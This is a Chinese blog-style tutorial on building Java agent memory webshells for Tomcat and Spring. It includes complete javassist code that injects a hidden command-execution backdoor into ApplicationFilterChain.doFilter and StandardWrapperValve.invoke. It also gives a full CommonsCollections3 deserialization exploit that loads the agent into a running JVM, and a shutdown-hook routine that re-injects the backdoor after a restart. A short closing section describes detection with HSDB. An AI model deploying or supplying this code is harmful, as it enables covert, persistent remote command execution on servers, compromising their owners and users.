好久没有看回java内存马了,把落下的agent内存马补一下
agent内存马顾名思义就是拿java agent技术来拦截并且修改关键类字节码所导致的内存马注入,前面三种内存马(Filter、Listener、Servlet)都需要对中间件进行调试,一步步进行反射调用,而agent只需要对关键类进行处理即可。
 Java Agent技术 java agent来源于jdk的rt.jar中。rt.jar包中存在一个java.lang.instrument包,这个包的作用是帮助开发人员动态地修改系统中的Class类型,其中一个关键组件就是java agent。
Java Agent能够在不影响正常编译的情况下来修改字节码,说白了Java Agent只是一个类,但是不同于普通的Java类的入口main,它的类加载入口主要有两种:
premain方法,在程序启动时进行加载(jdk 1.5之后才有),也就是在main方法被调用时agentmain方法,在程序启动后进行加载(jdk 1.6之后才有) 
下面来编写demo实现premain和agentmain
 实现premain方法 新建maven项目,编写demo如下:
1 2 3 4 5 6 7 8 9 10 import  java.lang.instrument.Instrumentation;public  class  premain_test  {    public  static  void  premain (String agentArgs, Instrumentation inst)  throws  Exception{         System.out.println(agentArgs);         for (int  i=0 ;i<5 ;i++){             System.out.println("Premain invoked!" );         }     } } 
在idea里的src/main/resources文件夹下创建META-INF/MANIFEST.MF文件
编写MANIFEST.MF:
1 2 3 Manifest-Version: 1.0 Premain-Class: premain_test 
记得最后要换行,并且Premain类要对应:
最后只需要利用idea构建成jar即可,这里需要使用maven项目构建:
在pom.xml中添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <build >         <plugins >              <plugin >                  <groupId > org.apache.maven.plugins</groupId >                  <artifactId > maven-assembly-plugin</artifactId >                  <version > 2.2</version >                  <configuration >                      <descriptorRefs >                          <descriptorRef > jar-with-dependencies</descriptorRef >                      </descriptorRefs >                      <archive >                          <manifestFile >                              src/main/resources/META-INF/MANIFEST.MF                         </manifestFile >                                                                                                                                                                            </archive >                  </configuration >                  <executions >                      <execution >                          <goals >                              <goal > attached</goal >                          </goals >                          <phase > package</phase >                      </execution >                  </executions >              </plugin >          </plugins >      </build >  
然后构建:
构建成功后会得到一个xxx-jar-with-dependencies.jar的jar包,准备另一个jar包用于测试premain:
1 java -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar -jar app.jar 
可以看到打印了五次Premain invoked才运行app.jar启动blade服务。而这个null是agentArgs,由于启动时并没有输入参数所以打印为null,如果需要参数则只需要输入
1 java8 -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar=xxx -jar app.jar 
值得注意的是对于premain,我们不止有参数agentArgs,还有另外一个参数Instrumentation。Instrumentation是JVMTIAgent(Java VM Tool Interface Agent)的一部分,简单来说java agent就是通过这个类来对目标类进行修改的
在Instrumentation中有一个transformer的Class文件转换器,这个转换器可以改变二进制流的数据,因此transformer可以对未加载的类将那些拦截,同时也可以对已经加载的类进行重新加载并且拦截,根据这个特性就能够实现动态修改字节码
Instrumentation的一些方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  interface  Instrumentation  {         void  addTransformer (ClassFileTransformer transformer) ;          boolean  removeTransformer (ClassFileTransformer transformer) ;          void  retransformClasses (Class<?>... classes)  throws  UnmodifiableClassException;          boolean  isModifiableClass (Class<?> theClass) ;          @SuppressWarnings("rawtypes")      Class[] getAllLoadedClasses();     ...... } 
重点介绍addTransformer、removeTransformer、retransformClasses这三个方法
 addTransformer addTransformer方法用于注册一个自己的Transformer,当拦截到classFileTransformer内指定的类时就会进入到自己的transformer方法进行拦截
例如一个实现ClassFileTransformer的类(参数和中间内容被省略):
1 2 3 4 5 6 7 8 9 10 public  class  DefineTransformer  implements  ClassFileTransformer {    public  static  final  String  ClassName  =  "xxx" ;          public  byte [] transform(...){         ...         if (className.equals(ClassName)){             ...         }     } } 
 getAllLoadedClasses 该方法能够列出所有已加载的Class,我们可以通过遍历该方法得到的Class数组来寻找我们需要的类
 retransformClass 该方法能够对已经加载的Class进行重新定义,如果目标类已经被加载可以调用该方法重新加载这个类然后被我们的transformer拦截,达到对已加载的字节码进行修改的效果。
 demo 首先利用addTransformer方法注册一个transformer,然后创建ClassFileTransformer方法的实现类,最后override transformer方法:
DefineTransformer:
1 2 3 4 5 6 7 8 9 10 11 import  java.lang.instrument.ClassFileTransformer;import  java.lang.instrument.IllegalClassFormatException;import  java.security.ProtectionDomain;public  class  DefineTransformer  implements  ClassFileTransformer  {    public  byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws  IllegalClassFormatException {         System.out.println(className);         return  new  byte [0 ];     } } 
在premain里添加:
1 2 3 4 5 6 7 8 9 10 11 import  java.lang.instrument.Instrumentation;public  class  premain_test  {    public  static  void  premain (String agentArgs, Instrumentation inst)  throws  Exception{         System.out.println(agentArgs);         for (int  i=0 ;i<5 ;i++){             System.out.println("Premain invoked!" );         }         inst.addTransformer(new  DefineTransformer (), true );     } } 
这里的addTransformer方法后面的参数true代表它可以修改JVM加载过的类字节码,不过同时还要在MANIFEST.MF里添加:
1 2 Can-Retransform-Classes: true Can-Redefine-Classes: true 
修改后的MANIFEST.MF应该是这样的:
1 2 3 4 5 Manifest-Version: 1.0 Premain-Class: premain_test Can-Redefine-Classes: true Can-Retransform-Classes: true 
运行得到下面的结果
那应该如何注入agent内存马呢?
我们知道不管是tomcat还是springboot都会有springboot加载(spring可以很明显地看到在启动时会加载tomcat容器)
由于agent内存马是拦截关键类进行注入的,因此回顾tomcat的内存马,可以简单地得知如果我们拦截并修改了filterChain.doFilter方法,并且添加我们的恶意代码即可实现内存马。在filter内存马里说过filterChain来自于ApplicationFilterChain的实例,源码大概如下:
1 2 3 4 5 ApplicationFilterChain  filterChain  =  ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);... filterChain.doFilter(request.getRequest(), response.getResponse()); 
因此只需要拦截ApplicationFilterChain.doFilter方法即可
 premain的不足 & agentmain 很多时候我们要注入内存马都是在程序运行之后的情况(比如一个正在运行的java站等),这个时候就不适用premain了,因此这个时候就需要我们的agentmain。通过tools.jar的Attach API来动态加载agentmain
由于tools.jar默认不加载,因此需要在classpath中额外指定
首先在idea -> project structure -> SDK中添加自己jdk目录/lib/tools.jar,这样才能够找到Attach API
 编写agentmain的demo 编写AgentMain方法:
1 2 3 4 5 6 7 8 import  java.lang.instrument.Instrumentation;public  class  agentmain_test  {    public  static  void  agentmain (String agentArgs, Instrumentation inst) {         inst.addTransformer(new  DefineTransformer (), true );     } } 
编写MANIFEST.MF:
1 2 3 4 5 Manifest-Version: 1.0 Agent-Class: agentmain_test Can-Redefine-Classes: true Can-Retransform-Classes: true 
生成AgentMain.jar,编写一个测试类进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  com.sun.tools.attach.VirtualMachine;import  com.sun.tools.attach.VirtualMachineDescriptor;import  java.util.List;public  class  AgentMainTest  {    public  static  void  main (String[] args)  throws  Exception {         String  agentMainPath  =  "生成的agentmain.jar的路径" ;         List<VirtualMachineDescriptor> list = VirtualMachine.list();         for (VirtualMachineDescriptor v : list){             System.out.println(v.displayName());             if (v.displayName().contains("AgentMainTest" )){                                  VirtualMachine  vm  =  VirtualMachine.attach(v.id());                 System.out.println("id >>>"  + v.id());                 vm.loadAgent(agentMainPath);                  vm.detach();             }         }     } } 
可以看到执行结果如下:
这里是本地的情况,远程环境并不会加载jar,那该如何处理呢?
这里可以使用URLClassLoader的loadClass来远程加载类:
1 2 3 4 5 6 7 8 9 10 11 java.io.File  toolsPath  =  new  java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" );             System.out.println(toolsPath.toURI().toURL());             java.net.URL  url  =  toolsPath.toURI().toURL();             java.net.URLClassLoader  classLoader  =  new  java .net.URLClassLoader(new  java .net.URL[]{url});             Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" );             Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" );             java.lang.reflect.Method  listMethod  =  MyVirtualMachine.getDeclaredMethod("list" ,null );             java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null );             System.out.println("Running JVM Start.." ); 
前面通过loadClass加载需要的VirtualMachine类和VirtualMachineDescriptor类,并通过invoke方法调用实现VirtualMachine.list()方法,后续调用displayName()方法也是类似的,完整调用代码如下(后续称其为loadAgent,其对应生成的jar包为loadAgent.jar):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 try {            java.io.File  toolsPath  =  new  java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" );             System.out.println(toolsPath.toURI().toURL());             java.net.URL  url  =  toolsPath.toURI().toURL();             java.net.URLClassLoader  classLoader  =  new  java .net.URLClassLoader(new  java .net.URL[]{url});             Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" );             Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" );             java.lang.reflect.Method  listMethod  =  MyVirtualMachine.getDeclaredMethod("list" ,null );             java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null );             System.out.println("Running JVM Start.." );             for (int  i=0 ;i<list.size();i++){                 Object  o  =  list.get(i);                 java.lang.reflect.Method  displayName  =  MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null );                 String  name  =  (String) displayName.invoke(o,null );                 System.out.println(name);                 if  (name.contains("AgentMainTest" )){                     java.lang.reflect.Method  getId  =  MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null );                     java.lang.String  id  =  (java.lang.String) getId.invoke(o,null );                     System.out.println("id >>> "  + id);                     java.lang.reflect.Method  attach  =  MyVirtualMachine.getDeclaredMethod("attach" ,new  Class []{java.lang.String.class});                     java.lang.Object  vm  =  attach.invoke(o,new  Object []{id});                     java.lang.reflect.Method  loadAgent  =  MyVirtualMachine.getDeclaredMethod("loadAgent" ,new  Class []{java.lang.String.class});                     java.lang.String  path  =  "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar" ;                     loadAgent.invoke(vm,new  Object []{path});                     java.lang.reflect.Method  detach  =  MyVirtualMachine.getDeclaredMethod("detach" ,null );                     detach.invoke(vm,null );                     break ;                 }             }         }catch  (Exception e){         } 
运行结果:
 写agent内存马 接下来就可以开始编写agent内存马了
agent.jar,首先编写拦截ApplicationFilterChain的doFilter方法,因此编写DefineTransformer,添加javaassit依赖利于我们编写类:
1 2 3 4 5 <dependency >             <groupId > javassist</groupId >              <artifactId > javassist</artifactId >              <version > 3.12.0.GA</version >          </dependency >  
由于是改类内的字节码因此可以直接获得tomcat采用的httpServeletRequest和Response:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtMethod;import  java.lang.instrument.ClassFileTransformer;import  java.lang.instrument.IllegalClassFormatException;import  java.security.ProtectionDomain;public  class  DefineTransformer  implements  ClassFileTransformer  {    public  static  final  String  ClassName  =  "org.apache.catalina.core.ApplicationFilterChain" ;     public  byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws  IllegalClassFormatException{         className = className.replace("/" , "." );         if (className.equals(ClassName)){             System.out.println("Find the Inject Class: "  + ClassName);             ClassPool  pool  =  ClassPool.getDefault();             try {                 CtClass  c  =  pool.getCtClass(className);                 CtMethod  method  =  c.getDeclaredMethod("doFilter" );                 method.insertBefore("javax.servlet.ServletRequest req = request;\n"  +                         "javax.servlet.ServletResponse res = response;"  +                         "String cmd = req.getParameter(\"cmd\");\n"  +                         "if (cmd != null) {\n"  +                         "boolean isLinux = true;\n"  +                         "String osTyp = System.getProperty(\"os.name\");\n"  +                         "if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {isLinux = false;}\n"  +                         "String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};" +                         "Process process = Runtime.getRuntime().exec(cmds);\n"  +                         "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n"  +                         "new java.io.InputStreamReader(process.getInputStream()));\n"  +                         "StringBuilder stringBuilder = new StringBuilder();\n"  +                         "String line;\n"  +                         "while ((line = bufferedReader.readLine()) != null) {\n"  +                         "stringBuilder.append(line + '\\n');\n"  +                         "}\n"  +                         "res.getOutputStream().write(stringBuilder.toString().getBytes());\n"  +                         "res.getOutputStream().flush();\n"  +                         "res.getOutputStream().close();\n"  +                         "}" );                 byte [] bytes = c.toBytecode();                 c.detach();                 return  bytes;             }catch  (Exception e){                 e.printStackTrace();             }         }         return  new  byte [0 ];     } } 
此时DefineTransform已经准备完毕,修改agentmain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  java.lang.instrument.Instrumentation;public  class  agentmain_test  {    public  static  final  String  ClassName  =  "org.apache.catalina.core.ApplicationFilterChain" ;     public  static  void  agentmain (String agentArgs, Instrumentation inst) {         inst.addTransformer(new  DefineTransformer (), true );                  Class[] classes = inst.getAllLoadedClasses();         for (Class cls : classes){             if (cls.getName().equals(ClassName)){                 try {                     inst.retransformClasses(new  Class []{cls});                 } catch  (Exception e){                     e.printStackTrace();                 }             }         }     } } 
生成agentmain.jar
接下来只需要加载上面提到的URLClassLoader远程加载类的字节码即可(使用CC3等反序列化方式加载字节码)
如果能够直接rce想打一个agent内存马持久化的话可以尝试直接上传agentmain.jar和loadAgent.jar去在命令行操作java -jar loadAgent.jar即可
写一个用于加载字节码的loadAgent,这个类是CC3中的字节码,因此要继承AbstractTranslet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package  com.example.agentdemo.exp;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;public  class  loadAgent  extends  AbstractTranslet  {    static  {         try {             java.io.File  toolsPath  =  new  java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" );             System.out.println(toolsPath.toURI().toURL());             java.net.URL  url  =  toolsPath.toURI().toURL();             java.net.URLClassLoader  classLoader  =  new  java .net.URLClassLoader(new  java .net.URL[]{url});             Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" );             Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" );             java.lang.reflect.Method  listMethod  =  MyVirtualMachine.getDeclaredMethod("list" ,null );             java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null );             System.out.println("Running JVM Start.." );             for (int  i=0 ;i<list.size();i++){                 Object  o  =  list.get(i);                 java.lang.reflect.Method  displayName  =  MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null );                 String  name  =  (String) displayName.invoke(o,null );                 System.out.println(name);                 if  (name.contains("AgentMainTest" )){                      java.lang.reflect.Method  getId  =  MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null );                     java.lang.String  id  =  (java.lang.String) getId.invoke(o,null );                     System.out.println("id >>> "  + id);                     java.lang.reflect.Method  attach  =  MyVirtualMachine.getDeclaredMethod("attach" ,new  Class []{java.lang.String.class});                     java.lang.Object  vm  =  attach.invoke(o,new  Object []{id});                     java.lang.reflect.Method  loadAgent  =  MyVirtualMachine.getDeclaredMethod("loadAgent" ,new  Class []{java.lang.String.class});                     java.lang.String  path  =  "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar" ;                      loadAgent.invoke(vm,new  Object []{path});                     java.lang.reflect.Method  detach  =  MyVirtualMachine.getDeclaredMethod("detach" ,null );                     detach.invoke(vm,null );                     break ;                 }             }         }catch  (Exception e){         }     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
启动漏洞环境进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package  com.example.agentdemo.controller;import  org.springframework.stereotype.Controller;import  org.springframework.web.bind.annotation.RequestBody;import  org.springframework.web.bind.annotation.RequestMapping;import  org.springframework.web.bind.annotation.ResponseBody;import  java.io.ByteArrayInputStream;import  java.io.ObjectInputStream;import  java.util.Base64;@Controller public  class  VulnController  {    @ResponseBody      @RequestMapping("/cctest")      public  String ccVulntest2 (@RequestParam  String b64data)  throws  Exception {         ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (Base64.getDecoder().decode(b64data));         ObjectInputStream  objectInputStream  =  new  ObjectInputStream (byteArrayInputStream);         objectInputStream.readObject();         return  "Hello,World" ;     }     @ResponseBody      @RequestMapping("/demo")      public  String demo ()  throws  Exception{         return  "This is OK Demo!" ;     } } 
这里已经添加了cc3.2.1的依赖了,因此直接启动
CC3Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package  com.example.agentdemo.exp;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  javax.xml.transform.Templates;import  java.io.*;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;import  java.nio.file.Files;import  java.nio.file.Path;import  java.nio.file.Paths;import  java.util.Base64;import  java.util.HashMap;import  java.util.Map;public  class  CC3Exp  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  clz  =  templates.getClass();         Field  nameField  =   clz.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates, "aaa" );         byte [] bytecode = Files.readAllBytes(Paths.get("D:\\java_project\\agentdemo\\target\\classes\\com\\example\\agentdemo\\exp\\loadAgent.class" ));         byte [][] codes = {bytecode};         Field  bytecodeField  =  clz.getDeclaredField("_bytecodes" );         bytecodeField.setAccessible(true );         bytecodeField.set(templates, codes);         Field  tfactoryField  =  clz.getDeclaredField("_tfactory" );         tfactoryField.setAccessible(true );         tfactoryField.set(templates, new  TransformerFactoryImpl ());                                             InstantiateTransformer  instantiateTransformer  =  new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates});         Transformer[] transformers = {                 new  ConstantTransformer (TrAXFilter.class),                 instantiateTransformer         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object, Object> map = new  HashMap <>();         Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  AIHConstructor  =  c.getDeclaredConstructor(Class.class, Map.class);         AIHConstructor.setAccessible(true );         InvocationHandler  h  =  (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);         Map  mapProxy  =  (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new  Class []{Map.class}, h);         Object  o  =  AIHConstructor.newInstance(Override.class, mapProxy);         Serialize(o);     }     private  static  void  Serialize (Object obj)  throws  IOException {         ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (baos);         objectOutputStream.writeObject(obj);         String  s  =  new  String (Base64.getEncoder().encode(baos.toByteArray()));         System.out.println(s);         System.out.println(s.length());         objectOutputStream.close();     }     private  static  void  UnSerialize ()  throws  IOException, ClassNotFoundException {         ObjectInputStream  objectInputStream  =  new  ObjectInputStream (new  FileInputStream ("ser.txt" ));         objectInputStream.readObject();         objectInputStream.close();     } } 
这里的7176是payload长度,无视即可,打payload后即可,控制台回显如下:
浏览器测试cmd:
注意agentmain.jar必须要在目标服务器上才能够这么做  
总结一下Agent内存马的使用流程:
制作agentmain.jar(必须) 
想办法将agentmain.jar传到对方的 
 
 改进型agent马 采用org.apache.catalina.core.StandardWrapperValve#invoke:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import  com.sun.tools.attach.VirtualMachine;import  com.sun.tools.attach.VirtualMachineDescriptor;import  javassist.ClassClassPath;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtMethod;import  java.lang.instrument.ClassFileTransformer;import  java.lang.instrument.IllegalClassFormatException;import  java.lang.instrument.Instrumentation;import  java.security.ProtectionDomain;import  java.util.List;public  class  TomcatAgent  {         public  static  final  String  CLASSNAME  =  "org.apache.catalina.core.StandardWrapperValve" ;     public  static  void  agentmain (String args, Instrumentation inst)  throws  Exception {         for  (Class clazz : inst.getAllLoadedClasses()) {             if  (clazz.getName().equals(CLASSNAME)) {                 inst.addTransformer(new  TomcatTransformer (), true );                 inst.retransformClasses(clazz);             }         }     }     public  static  void  main (String[] args)  throws  Exception {         List<VirtualMachineDescriptor> list = VirtualMachine.list();         for  (VirtualMachineDescriptor desc : list) {             String  name  =  desc.displayName();             String  pid  =  desc.id();             if  (name.contains("org.apache.catalina.startup.Bootstrap" )) {                                  VirtualMachine  vm  =  VirtualMachine.attach(pid);                 vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" );                 vm.detach();                 System.out.println("attach ok" );                 break ;             }         }     } } class  TomcatTransformer  implements  ClassFileTransformer  {         public  static  final  String  CLASSNAME  =  "org.apache.catalina.core.StandardWrapperValve" ;          public  static  final  String  CLASSMETHOD  =  "invoke" ;     @Override      public  byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws  IllegalClassFormatException {         try  {             ClassPool  pool  =  ClassPool.getDefault();             if  (classBeingRedefined != null ) {                 ClassClassPath  ccp  =  new  ClassClassPath (classBeingRedefined);                 pool.insertClassPath(ccp);             }             if  (className.replace("/" , "." ).equals(CLASSNAME)) {                 CtClass  clazz  =  pool.get(CLASSNAME);                 CtMethod  method  =  clazz.getDeclaredMethod(CLASSMETHOD);                 method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n"  +                         "String cmd = httpServletRequest.getHeader(\"Cmd\");\n"  +                         "if (cmd != null) {\n"  +                         "    Process process = Runtime.getRuntime().exec(cmd);\n"  +                         "    java.io.InputStream input = process.getInputStream();\n"  +                         "    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n"  +                         "    StringBuilder sb = new StringBuilder();\n"  +                         "    String line = null;\n"  +                         "    while ((line = br.readLine()) != null) {\n"  +                         "        sb.append(line + \"\\n\");\n"  +                         "    }\n"  +                         "    br.close();\n"  +                         "    input.close();\n"  +                         "    response.setContentType(\"text/html;charset=utf-8\");\n"  +                         "    response.getWriter().print(sb.toString());\n"  +                         "    response.getWriter().flush();\n"  +                         "    response.getWriter().close();\n"  +                         "}" );                 byte [] classbyte = clazz.toBytecode();                 clazz.detach();                 return  classbyte;             }         } catch  (Exception e) {             e.printStackTrace();         }         return  classfileBuffer;     } } 
 持久化agent马 和其他内存马的通病是一样的,agent内存马无法在重启环境后继续存在,因此持久化Agent内存马也是必须的。
当然这也是我之前面试实习的时候被问到的一个问题,当时并不清楚怎么回答只回答了agent内存马,搁置到现在才来解决
简单来说原理就是在JVM关闭前会调用addShutdownHook()方法,此时只需要将一个线程hook到addShutdownHook()方法即可在关闭时调用重新写入agentmain.jar和loadAgent.jar即可
例如在agentmain里添加ReadAgent()和ReadLoader()来保存这两个jar的表示:
参考rebeyond师傅的Agent.java,为了上下文流畅将类名进行了一些修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public  static  byte [] injectFileBytes = new  byte [] {}, agentFileBytes = new  byte [] {};public  static  void  ReadLoader (String filePath)  throws  Exception {		String  fileName  =  "loadAgent.jar" ; 		File  f  =  new  File (filePath + File.separator + fileName); 		if  (!f.exists()) { 			f = new  File (System.getProperty("java.io.tmpdir" ) + File.separator + fileName); 		} 		InputStream  is  =  new  FileInputStream (f); 		byte [] bytes = new  byte [1024  * 100 ]; 		int  num  =  0 ; 		while  ((num = is.read(bytes)) != -1 ) { 			injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0 , num)); 		} 		is.close(); 	} 	public  static  void  ReadAgent (String filePath)  throws  Exception { 		String  fileName  =  "Agent.jar" ; 		File  f  =  new  File (filePath + File.separator + fileName); 		if  (!f.exists()) { 			f = new  File (System.getProperty("java.io.tmpdir" ) + File.separator + fileName); 		} 		InputStream  is  =  new  FileInputStream (f); 		byte [] bytes = new  byte [1024  * 100 ]; 		int  num  =  0 ; 		while  ((num = is.read(bytes)) != -1 ) { 			agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0 , num)); 		} 		is.close(); 	} 
这样将两个jar存储到对应的字节数组内,在agentmain方法内调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import  java.lang.instrument.Instrumentation;public  class  agentmain_test  {    public  static  byte [] injectFileBytes = new  byte [] {}, agentFileBytes = new  byte [] {};     public  static  final  String  ClassName  =  "org.apache.catalina.core.ApplicationFilterChain" ;     public  static  void  agentmain (String agentArgs, Instrumentation inst) {         inst.addTransformer(new  DefineTransformer (), true );                  Class[] classes = inst.getAllLoadedClasses();         for (Class cls : classes){             if (cls.getName().equals(ClassName)){                 try {                     inst.retransformClasses(new  Class []{cls});                 } catch  (Exception e){                     e.printStackTrace();                 }             }         }                  try {             readLoader(loaderPath);         	readAgent(agentPath);         	clear(loaderPath, agentPath);          } catch (Exception e){                      }                  agentmain_test.persist()              }          public  static  void  persist ()  { 		try  { 			Thread  t  =  new  Thread () { 				public  void  run ()  { 					try  { 						writeFiles("inject.jar" , Agent.injectFileBytes); 						writeFiles("agent.jar" , Agent.agentFileBytes); 						startInject(); 					} catch  (Exception e) { 					} 				} 			}; 			t.setName("shutdown Thread" ); 			Runtime.getRuntime().addShutdownHook(t); 		} catch  (Throwable t) { 		} 	}          public  static  void  startInject ()  throws  Exception { 		Thread.sleep(2000 ); 		String  tempFolder  =  System.getProperty("java.io.tmpdir" ); 		String  cmd  =  "java -jar "  + tempFolder + File.separator + "inject.jar " ; 		Runtime.getRuntime().exec(cmd); 	} } 
大概就是这样,原理就是通过addShutdownHook(t)来hookpersist方法内定义的进程,这样在关闭jvm的时候就会先写入agentmain和loadAgent然后调用startInject()方法重新注入一遍
当然,对于其他的内存马如filter内存马可以使用替换jar的方式来进行持久化,例如springboot的charset.jar和tomcat的catalina.jar,详见这篇文章 
 无文件落地agent马 参考Linux下无文件落地 
只能够在linux下使用,因为需要获取到/proc/self/maps和/proc/self/mem,并且还需要解析elf,非常地苛刻
构造流程也很麻烦,原文给的很具体了,总结大概是:
找到替换函数的地址,构建jvmtiEnv*的机器码,替换到内存空间里,然后逐步替换直到能够修改对象成为InstrumentationImpl
实现:https://github.com/xiaopan233/Java_agent_without_file 
 agent马查杀 1 java8 -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB 
sa-jdi.jar是自带的一个jar包
通过它的HSDB能够dump出类的字节码,反编译即可,需要先选择服务器对应的pid,然后通过tools里的class browser调出相应的类,常见的可能被修改的类:
1 2 3 4 5 6 7 8 9 (1)javax.servlet.http.HttpServlet service (2)org.apache.catalina.core.ApplicationFilterChain doFilter (3)org.springframework.web.servlet.DispatcherServlet doService (4)org.apache.tomcat.websocket.server.WsFilter doFilter (5)org.apache.catalina.core.StandardWrapperValve invoke 
此时发现了内存马,就需要通过Agent来还原:
